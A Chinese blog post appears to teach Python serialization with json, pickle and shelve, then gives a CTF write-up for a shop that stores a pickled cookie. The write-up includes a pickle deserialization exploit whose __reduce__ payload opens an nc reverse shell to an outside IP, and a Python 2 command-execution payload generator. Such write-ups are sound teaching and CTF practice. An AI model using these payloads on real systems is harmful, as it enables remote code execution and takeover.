借着这道题学习了一下python序列化,手打了好久,?感觉好久没这么畅快的去学习了。

0X00 简介

什么叫序列化:将原本的字典、列表等内容转换成一个字符串的过程就叫做序列化。字符串是有顺序的,普遍所说的序列化都是转向一个字符串的过程。

在写文件(数据存储)、网络上传输(只能传bytes)时只能对字符串进行操作,所以基于这些情况必须把“字典”等转为字符串才行。

序列化的目的:

1、以某种存储形式使自定义对象持久化

2、将对象从一个地方传递到另一个地方。

3、使程序更具维护性。

# 从数据类型 –> 字符串的过程 序列化

# 从字符串 –> 数据类型的过程 反序列化

几个重要的模块:json、pickle、shelve

0X01 json模块

json是一种通用的序列化格式,python、java、js等都在用。又考虑到每种语言的数据类型是不一样的,json对数据格式要求非常严格,要用尽量少的数据类型去组成json。因此,不是所有的数据类型都可以转成字符串的,仅有一部分可以,这也是它的一个弊端。

dumpsloads

dumps(序列化方法)、loads(反序列化方法):在内存中操作一个可以被序列化的数据类型。

可以进行序列化的类型:数字、字符串、列表、字典、元组(元组是转为列表去序列化的,如下图所示):

dumpload

dump(序列化方法)、load(反序列化方法):对文件进行相关的操作。

序列化字典并存入文件:

# test.txt里的内容:{“1”: “a”, “2”: “b”, “3”: “c”}

如果有字典中有中文的的情况,避免写入文件变成Unicode编码(在json.dump函数里加入“ensure_ascii=False”这个参数):

# test2.txt里的内容:{“1”: “中国”, “2”: “俄罗斯”}

反序列化读出来:

注意:如果使用dump和load,都是一次性写进去再一次性读出来,否则报错。如果想分次读取,可以用dumps+‘\n’进行序列化,再一行一行的读(善用strip函数)。

0X02 pickle模块

json有缺点所以产生了pickle,pickle可以将python中所有的数据类型转化成字符串形式。但它的问题在于:pickle序列化的内容只有python才能理解且部分反序列化依赖python代码。(比如使用了一个python不自带的库,反序列化也要保证安装了这个库)

和json模块相同,pickle也支持四个功能:dumpsloadsdumpload

dumpsloads

使用方法和json模块相同,但输出形式不同,pickle序列化后是看不出来这是啥内容的:

dumpload

使用方法和json模块相同,但是要以’rb’的形式读,’wb’的形式写入,因为是byte类型,而且对于pickle来讲可以分次序列化/反序列化(json这样就会报错)。

需要注意的点

  • 不同平台下的反序列化结果是不一样的,甚至python的版本也会影响pickle的结果。
  • python 序列化和反序列化使用最为频繁的是cPickle和pickle,前者是C语言实现,据说速度比后者快很多。只不过python3标准库中不再叫cPickle,而是只有pickle。python2中两者都有。
  • python2中的序列化文件如果想在python3中读取,需要修改编码。
  • pickle 模块并不安全。你只应该对你信任的数据进行unpickle操作。构建恶意的pickle数据来在解封时执行任意代码是可能的。绝对不要对不信任来源的数据和可能被篡改过的数据进行解封。请考虑使用hmac来对数据进行签名,确保数据没有被篡改。

0X03 shelve模块

基于python3,它使用序列化句柄直接操作,非常方便。仅用一个shelve.open()函数进行序列化操作即可:

不好的地方就在这里,会产生三个文件,而且一个都不能丢,一个都tm看不懂,和pickle一样也是不透明的。

反序列化:

0X04 题解

打开是一个在线商店,我们初始有$500,想要拿到flag必须买$1000。

点击buy,进行抓包,可以看到Cookie里的非常可疑的session:

根据题目的提示,用pickle模块进行反序列化:

{‘money’: 500, ‘history’: [], ‘anti_tamper_hmac’: ‘aa1ba4de55048cf20e0a7a63b7f8eb62’}

发现有一个叫“anti_tamper_hmac”的键名,这个hmac模块会对内部创建的key和内容做过某种处理后再加密:

import hmac

# 注意hmac模块只接受二进制数据的加密
h1 = hmac.new(b'hash')
h1.update(b'hello')
h1.update(b'world')
print(h1.hexdigest())
905f549c5722b5850d602862c34a763e
h2 = hmac.new(b'hash')
h2.update(b'helloworld')
print(h2.hexdigest())
905f549c5722b5850d602862c34a763e
h3 = hmac.new(b'hashhelloworld')
print(h3.hexdigest())
a7e524ade8ac5f7f33f3a39a8f63fd25

所以这这道题伪造1000不太容易的,不知道hmac加密算法的key。但是python反序列化漏洞可以导致任意命令执行。在buu开小号get一个内网的ip去nc反弹shell,exp如下:

import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc 174.1.78.109 44448 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
#gASVVgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw6X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ25jIDE3NC4xLjc4LjEwOSA0NDQ0OCAtZS9iaW4vc2gnKZSFlFKULg==

python2版本的如下:

import cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

把cookie替换一下,然后点buy的时候抓包,成功监听到。